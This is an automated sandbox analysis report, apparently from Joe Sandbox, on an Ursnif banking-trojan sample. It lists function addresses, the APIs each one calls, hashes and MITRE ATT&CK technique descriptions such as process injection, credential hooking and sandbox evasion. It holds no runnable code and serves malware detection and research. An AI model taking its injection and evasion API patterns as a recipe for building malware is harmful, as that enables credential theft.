Function 006A7860, Relevance: 1.6, APIs: 1, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE ref: 006A7893

Memory Dump Source

Source File: 0000001F.00000002.446029270.00000000006A1000.00000020.00000001.sdmp, Offset: 006A1000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 3757affdecadeb6f6003f1f6cfe0be9615580c00899b220e4f1eae13a196cc2d
Instruction ID: a6d4785d13d1379812e5afb1e691d4877823b861c4cfa583ce647f1ae850bf36
Opcode Fuzzy Hash: 3757affdecadeb6f6003f1f6cfe0be9615580c00899b220e4f1eae13a196cc2d
Instruction Fuzzy Hash: E3117F3160C6089BAB54FF19E885465B3E5FB9D305750053DE84FC3245EA34ED45DB82

Uniqueness

Uniqueness Score: -1.00%

Function 006B9DA8, Relevance: 1.6, APIs: 1, Instructions: 74COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE ref: 006B9E54

Memory Dump Source

Source File: 0000001F.00000002.446029270.00000000006A1000.00000020.00000001.sdmp, Offset: 006A1000, based on PE: false

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: f75873f5260809ff7d73cc47abbb50d3c822cba717d80ef482da9e7235c360b5
Instruction ID: dbf44c52c623ec11b1ed2fb6fc9938969871dd117ab29ef4d6dadf5e5adf8d62
Opcode Fuzzy Hash: f75873f5260809ff7d73cc47abbb50d3c822cba717d80ef482da9e7235c360b5
Instruction Fuzzy Hash: C0217231218F098FEB94EF6CE8846E677E1FBA8705B01852EE60AC3260DF74D9518B41

Uniqueness

Uniqueness Score: -1.00%

Function 006C936C, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

Part of subcall function 006BA9D8: NtWriteVirtualMemory.NTDLL ref: 006BA9F7

VirtualProtectEx.KERNELBASE ref: 006C93C0

Memory Dump Source

Source File: 0000001F.00000002.446029270.00000000006A1000.00000020.00000001.sdmp, Offset: 006A1000, based on PE: false

Similarity

API ID: Virtual$MemoryProtectWrite
String ID:
API String ID: 1789425917-0
Opcode ID: 1dc0fb0480b7c0f39b3036a91e3f0541d25096affd255a238cfa1ffeda4c1a9a
Instruction ID: 82ba95145026147cf1dd68718392e089f01b00293fb4fba5aae4f730ea52e6c4
Opcode Fuzzy Hash: 1dc0fb0480b7c0f39b3036a91e3f0541d25096affd255a238cfa1ffeda4c1a9a
Instruction Fuzzy Hash: 44012170618B488FCB48EF9CA0C9525B7E0EB9C311B50456EE94DC7256DB70DD44C786

Uniqueness

Uniqueness Score: -1.00%

Function 006B4B30, Relevance: 1.5, APIs: 1, Instructions: 237stringCOMMON

Download Yara Rule

APIs

lstrcmp.KERNEL32 ref: 006B4C5D

Memory Dump Source

Source File: 0000001F.00000002.446029270.00000000006A1000.00000020.00000001.sdmp, Offset: 006A1000, based on PE: false

Similarity

API ID: lstrcmp
String ID:
API String ID: 1534048567-0
Opcode ID: 008cd1c5fcd41631767585f416bc2a9e5da106ca395c4cb5776acaf9f3fd4627
Instruction ID: e172b3527d934ee3969c818fdf7b67e9452c51eb7d6d00bb0ad84a112ffa52b0
Opcode Fuzzy Hash: 008cd1c5fcd41631767585f416bc2a9e5da106ca395c4cb5776acaf9f3fd4627
Instruction Fuzzy Hash: 6261847061CB459FC758DF08D4856B6B7E2FB99714F144A2EE58A83212DF34E886CB83

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: rundll32.exe PID: 7012 Parent PID: 6968 rundll32.exeCOMMON

Executed Functions

Function 0000024E31FD88E0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 113nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationToken.NTDLL ref: 0000024E31FD8994
NtQueryInformationToken.NTDLL ref: 0000024E31FD89DC
NtClose.NTDLL ref: 0000024E31FD8A14

Strings

0, xrefs: 0000024E31FD893F

Memory Dump Source

Source File: 00000022.00000002.446285059.0000024E31FC1000.00000020.00000001.sdmp, Offset: 0000024E31FC1000, based on PE: false

Similarity

API ID: InformationQueryToken$Close
String ID: 0
API String ID: 459398573-4108050209
Opcode ID: 48451d568c0a83509fff3c4b52d235ce67953faecae1a608e8cd1f39b0a2e447
Instruction ID: 364a52ff4986cb14a0715bb92ec0df27910b4437f71aac992558fe7e9de83ed3
Opcode Fuzzy Hash: 48451d568c0a83509fff3c4b52d235ce67953faecae1a608e8cd1f39b0a2e447
Instruction Fuzzy Hash: A2412E302187489FDB65DF19D8D87AABBE1FBD8311F40892DE48EC3254DB349945CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000024E31FC932C, Relevance: 4.8, APIs: 3, Instructions: 302memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE ref: 0000024E31FC938D
VirtualAlloc.KERNELBASE ref: 0000024E31FC9494
VirtualFree.KERNELBASE ref: 0000024E31FC9571

Memory Dump Source

Source File: 00000022.00000002.446285059.0000024E31FC1000.00000020.00000001.sdmp, Offset: 0000024E31FC1000, based on PE: false

Similarity

API ID: Virtual$AllocCreateFreeHeap
String ID:
API String ID: 2341667014-0
Opcode ID: dc20dafe6e30c998cc0452f78ae8166125fa3977d740c554ddd1d991191aa16f
Instruction ID: 2adc3bf297c6124bb2a9f9768f569d82dc14943bbe083209097e959ac16620af
Opcode Fuzzy Hash: dc20dafe6e30c998cc0452f78ae8166125fa3977d740c554ddd1d991191aa16f
Instruction Fuzzy Hash: 4391A130618B088FFB6AEF689899776B7D5FB94300F11456DE48BC3291EF38D8429741

Uniqueness

Uniqueness Score: -1.00%

Function 0000024E31FD2A04, Relevance: 4.1, APIs: 2, Instructions: 1130synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexExA.KERNEL32 ref: 0000024E31FD2AD1
GetUserNameA.ADVAPI32 ref: 0000024E31FD2CF2

Part of subcall function 0000024E31FD8D54: CreateThread.KERNELBASE ref: 0000024E31FD8D84
Part of subcall function 0000024E31FD8D54: QueueUserAPC.KERNELBASE ref: 0000024E31FD8D9B

Memory Dump Source

Source File: 00000022.00000002.446285059.0000024E31FC1000.00000020.00000001.sdmp, Offset: 0000024E31FC1000, based on PE: false

Similarity

API ID: CreateUser$MutexNameQueueThread
String ID:
API String ID: 2503873790-0
Opcode ID: adb7b94d7b0d053f6379da7e7f3e5f312587762c016ea9b2f8dfced7ccafc53b
Instruction ID: 43d4d3732a3b52e3a869eb0d028b7ac76c96a808bbe4d5f4d2ca235699dea29a
Opcode Fuzzy Hash: adb7b94d7b0d053f6379da7e7f3e5f312587762c016ea9b2f8dfced7ccafc53b
Instruction Fuzzy Hash: B682D771618A098FFB5AEF24EC896B9B7E1FB58300F11856EE44BC31A5DE38D506C781

Uniqueness

Uniqueness Score: -1.00%

Function 0000024E31FF900A, Relevance: 3.4, APIs: 2, Instructions: 350nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL ref: 0000024E31FF9298
NtProtectVirtualMemory.NTDLL ref: 0000024E31FF9327

Memory Dump Source

Source File: 00000022.00000002.446446228.0000024E31FF9000.00000040.00000001.sdmp, Offset: 0000024E31FF9000, based on PE: false

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 5420eec267aa77ae3ec4524daaf42b0697f3331d401c2eaa1473a9c0d06406e1
Instruction ID: be2f5b91ff53afda13f325b6424438cfd24bf6b80b906c5222b9c22363393e25
Opcode Fuzzy Hash: 5420eec267aa77ae3ec4524daaf42b0697f3331d401c2eaa1473a9c0d06406e1
Instruction Fuzzy Hash: 5DB1E73120CBC44FEB6ADF2888897B6BBE1FF95300F5545ADE0CBC7292D674A5468742

Uniqueness

Uniqueness Score: -1.00%

Function 0000024E31FC91C0, Relevance: 1.6, APIs: 1, Instructions: 51nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL ref: 0000024E31FC91E6

Memory Dump Source

Source File: 00000022.00000002.446285059.0000024E31FC1000.00000020.00000001.sdmp, Offset: 0000024E31FC1000, based on PE: false

Similarity

API ID: InformationProcessQuery
String ID:
API String ID: 1778838933-0
Opcode ID: 76c9fe931ecd9c2f4c09047b6eb9b24505d550c96fa71bbf984ae8462ea5b896
Instruction ID: 0a780b299419971dd6f57b73466b2f9a52f47b3beaa140ca07b080a02cfb55ba
Opcode Fuzzy Hash: 76c9fe931ecd9c2f4c09047b6eb9b24505d550c96fa71bbf984ae8462ea5b896
Instruction Fuzzy Hash: 7301A230254A4C8FEB95DF68C4C8A75B7E1FBA8305F5004AEA449C3164D638D881C701

Uniqueness

Uniqueness Score: -1.00%

Function 0000024E31FE5FE4, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 136registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0000024E31FDFD90: RegCreateKeyA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,0000024E31FC524A), ref: 0000024E31FDFDB3

RegQueryValueExA.KERNELBASE ref: 0000024E31FE604D

Strings

(, xrefs: 0000024E31FE6095
(, xrefs: 0000024E31FE6059

Memory Dump Source

Source File: 00000022.00000002.446285059.0000024E31FC1000.00000020.00000001.sdmp, Offset: 0000024E31FC1000, based on PE: false

Similarity

API ID: CreateQueryValue
String ID: ($(
API String ID: 2711935003-222463766
Opcode ID: ba6fc72221a63f81700c4d88b0e07c1801cf01b32b2b7b3d7f8945c5633000f1
Instruction ID: dbf816911f583844645ea07071962a2156d4b1c99fb97df37866cf246b6816e3
Opcode Fuzzy Hash: ba6fc72221a63f81700c4d88b0e07c1801cf01b32b2b7b3d7f8945c5633000f1
Instruction Fuzzy Hash: 404171312187488FF746DF18E899B76B7E5FB98315F00462DE48AC32A1DF7899458B42

Uniqueness

Uniqueness Score: -1.00%

Function 0000024E31FEABC4, Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 311libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE ref: 0000024E31FEAD01

Strings

H, xrefs: 0000024E31FEABE8

Memory Dump Source

Source File: 00000022.00000002.446285059.0000024E31FC1000.00000020.00000001.sdmp, Offset: 0000024E31FC1000, based on PE: false

Similarity

API ID: LibraryLoad
String ID: H
API String ID: 1029625771-2852464175
Opcode ID: 0cca81e39584043888cd25c48571e8e3bc8ca15252dbc9990089e8932afe6333
Instruction ID: 78ac9259a6fcc0592b12cd2b36f9082df8b4f6a8eccbd8f2f052526d7a0f8574
Opcode Fuzzy Hash: 0cca81e39584043888cd25c48571e8e3bc8ca15252dbc9990089e8932afe6333
Instruction Fuzzy Hash: 89A17E30508B0A8FFB56DF58D889776BBE1FBD8305F05466EE84AC3261EB34D8458B91

Uniqueness

Uniqueness Score: -1.00%

Function 0000024E31FE94AC, Relevance: 3.2, APIs: 2, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0000024E31FC7860: VirtualProtect.KERNELBASE ref: 0000024E31FC7893

VirtualProtect.KERNELBASE ref: 0000024E31FE95CA
VirtualProtect.KERNELBASE ref: 0000024E31FE95ED

Memory Dump Source

Source File: 00000022.00000002.446285059.0000024E31FC1000.00000020.00000001.sdmp, Offset: 0000024E31FC1000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 1921cd2586a028b25a8036b77e02ce17c9d1998bf3a5edd930e01431ccd2d288
Instruction ID: a2dace4edaddeffa8d4e01d5936b97c5173c43acae11de8aefca7aeea1e08b79
Opcode Fuzzy Hash: 1921cd2586a028b25a8036b77e02ce17c9d1998bf3a5edd930e01431ccd2d288
Instruction Fuzzy Hash: 7A616070618B098FEB45EF29D489B65B7E0FF98300F1105AEA48EC3361DB34E941CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0000024E31FE7B14, Relevance: 3.2, APIs: 2, Instructions: 151COMMON

Download Yara Rule

APIs

StrRChrA.KERNELBASE ref: 0000024E31FE7B88
RtlAddVectoredContinueHandler.NTDLL ref: 0000024E31FE7C7C

Memory Dump Source

Source File: 00000022.00000002.446285059.0000024E31FC1000.00000020.00000001.sdmp, Offset: 0000024E31FC1000, based on PE: false

Similarity

API ID: ContinueHandlerVectored
String ID:
API String ID: 3758255415-0
Opcode ID: 18d41ae510406c2aa3f5cd9704343b8684554a51cac0b4cdfc95542a89724d15
Instruction ID: dc0a96ff2916f5c7d47c1f619433bf460267259f0cf8f88653eb06c2d0cb89f9
Opcode Fuzzy Hash: 18d41ae510406c2aa3f5cd9704343b8684554a51cac0b4cdfc95542a89724d15
Instruction Fuzzy Hash: 5D51B170608A454FFB57EF68D84837ABBE2FBD8301F05466EA446C32A5DB78C4018B92

Uniqueness

Uniqueness Score: -1.00%

Function 0000024E31FC5A74, Relevance: 3.1, APIs: 2, Instructions: 96registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.KERNELBASE ref: 0000024E31FC5AB2
RegCloseKey.KERNELBASE ref: 0000024E31FC5B1F

Memory Dump Source

Source File: 00000022.00000002.446285059.0000024E31FC1000.00000020.00000001.sdmp, Offset: 0000024E31FC1000, based on PE: false

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: d1873d7401310501e2bde5c2d81c6681bbbf4664564d41b1add5045be7a6b028
Instruction ID: 7d9a33bdfab3f732479f055691729144abca24cac4a8c4b8d7557789752ff0c0
Opcode Fuzzy Hash: d1873d7401310501e2bde5c2d81c6681bbbf4664564d41b1add5045be7a6b028
Instruction Fuzzy Hash: 08212470618A088FFB94EF18D84DB35B7E1FB98311F25456DE449C3261DA74DD41DB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000024E31FDFD90, Relevance: 3.1, APIs: 2, Instructions: 60registryCOMMON

Download Yara Rule

APIs

RegCreateKeyA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,0000024E31FC524A), ref: 0000024E31FDFDB3
RegOpenKeyA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,0000024E31FC524A), ref: 0000024E31FDFDC0

Memory Dump Source

Source File: 00000022.00000002.446285059.0000024E31FC1000.00000020.00000001.sdmp, Offset: 0000024E31FC1000, based on PE: false

Similarity

API ID: CreateOpen
String ID:
API String ID: 436179556-0
Opcode ID: 0a6b3393df12d974064a6205a0f07d4623b7b28886a29dc755b4499000452097
Instruction ID: 9bb7f8b3bb0bd5229a789ae1ae9f800d1bfb9ed05502c09c8c1544c415cff61f
Opcode Fuzzy Hash: 0a6b3393df12d974064a6205a0f07d4623b7b28886a29dc755b4499000452097
Instruction Fuzzy Hash: 5E11A130618A448FEB85EF5C9098B39FBE1FBA8300F05446EF949C33A5DA74C9518782

Uniqueness

Uniqueness Score: -1.00%

Function 0000024E31FD8D54, Relevance: 3.1, APIs: 2, Instructions: 59threadinjectionCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE ref: 0000024E31FD8D84
QueueUserAPC.KERNELBASE ref: 0000024E31FD8D9B

Memory Dump Source

Source File: 00000022.00000002.446285059.0000024E31FC1000.00000020.00000001.sdmp, Offset: 0000024E31FC1000, based on PE: false

Similarity

API ID: CreateQueueThreadUser
String ID:
API String ID: 3600083758-0
Opcode ID: d83f503dd7ad0854bda167f6b5bab1ff0cf873ab3ab062394b7bbff50deed0af
Instruction ID: f50a3afae11045504632e1b82b421409f03ef61e101699b6b86ea0daa003075a
Opcode Fuzzy Hash: d83f503dd7ad0854bda167f6b5bab1ff0cf873ab3ab062394b7bbff50deed0af
Instruction Fuzzy Hash: 44018030704A044FEB84EF2CD84D73977E2FBAC701B05816AE409C32B0CA38DD418781

Uniqueness

Uniqueness Score: -1.00%

Function 0000024E31FD957C, Relevance: 1.7, APIs: 1, Instructions: 216memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE ref: 0000024E31FD96C8

Memory Dump Source

Source File: 00000022.00000002.446285059.0000024E31FC1000.00000020.00000001.sdmp, Offset: 0000024E31FC1000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 7fdac606e5b30a2debca9d79207369b25236264d15c74a507231e6eefc356042
Instruction ID: 7f28eda60329db26ab0896fcd0ffd257dccfa8d5a0c6b0d27d579072e486eade
Opcode Fuzzy Hash: 7fdac606e5b30a2debca9d79207369b25236264d15c74a507231e6eefc356042
Instruction Fuzzy Hash: BD617270618A099FFB96EF58D889A75B7E0FF68301F51456EF44AC3295DB30E840CB82

Uniqueness

Uniqueness Score: -1.00%

Function 0000024E31FD9DA8, Relevance: 1.6, APIs: 1, Instructions: 74COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE ref: 0000024E31FD9E54

Memory Dump Source

Source File: 00000022.00000002.446285059.0000024E31FC1000.00000020.00000001.sdmp, Offset: 0000024E31FC1000, based on PE: false

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: f75873f5260809ff7d73cc47abbb50d3c822cba717d80ef482da9e7235c360b5
Instruction ID: 513ca76333fe6d88c9cce9fa383dac8521b8a6c6aafd12a12e4d5d3a0e4390ba
Opcode Fuzzy Hash: f75873f5260809ff7d73cc47abbb50d3c822cba717d80ef482da9e7235c360b5
Instruction Fuzzy Hash: B3215131218B098FFB96EF6DE8887A677E1FBA8705F01852DE50AC32A4DF74D9508741

Uniqueness

Uniqueness Score: -1.00%

Function 0000024E31FC7860, Relevance: 1.6, APIs: 1, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE ref: 0000024E31FC7893

Memory Dump Source

Source File: 00000022.00000002.446285059.0000024E31FC1000.00000020.00000001.sdmp, Offset: 0000024E31FC1000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 3757affdecadeb6f6003f1f6cfe0be9615580c00899b220e4f1eae13a196cc2d
Instruction ID: b430f93e2a049c202bcf01bc6026a6aba1bb9aaa421ba040a8ea6661c8b8cacf
Opcode Fuzzy Hash: 3757affdecadeb6f6003f1f6cfe0be9615580c00899b220e4f1eae13a196cc2d
Instruction Fuzzy Hash: 3D117F7160C6089BAB54EF19E885526B7E5FB9C305B61062DE84FC3285EA30E945DB82

Uniqueness

Uniqueness Score: -1.00%

Function 0000024E31FD4B30, Relevance: 1.5, APIs: 1, Instructions: 237stringCOMMON

Download Yara Rule

APIs

lstrcmp.KERNEL32 ref: 0000024E31FD4C5D

Memory Dump Source

Source File: 00000022.00000002.446285059.0000024E31FC1000.00000020.00000001.sdmp, Offset: 0000024E31FC1000, based on PE: false

Similarity

API ID: lstrcmp
String ID:
API String ID: 1534048567-0
Opcode ID: 008cd1c5fcd41631767585f416bc2a9e5da106ca395c4cb5776acaf9f3fd4627
Instruction ID: 6ef1f13e850de9526a29ac245fb814651fb45b981b6371d841eb33b30fb38f38
Opcode Fuzzy Hash: 008cd1c5fcd41631767585f416bc2a9e5da106ca395c4cb5776acaf9f3fd4627
Instruction Fuzzy Hash: 0F71B230618F458BEB6ACF08C48567AFBE1FF99700F10466DF48A83655DB30E842CB82

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	BIOS, MBR, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary.
Tactics:	Defense Evasion
Data Sources:	Loaded DLLs, Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report vnaSKDMnLG

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: Ursnif

Yara Overview

Memory Dumps

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Imports

Exports

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

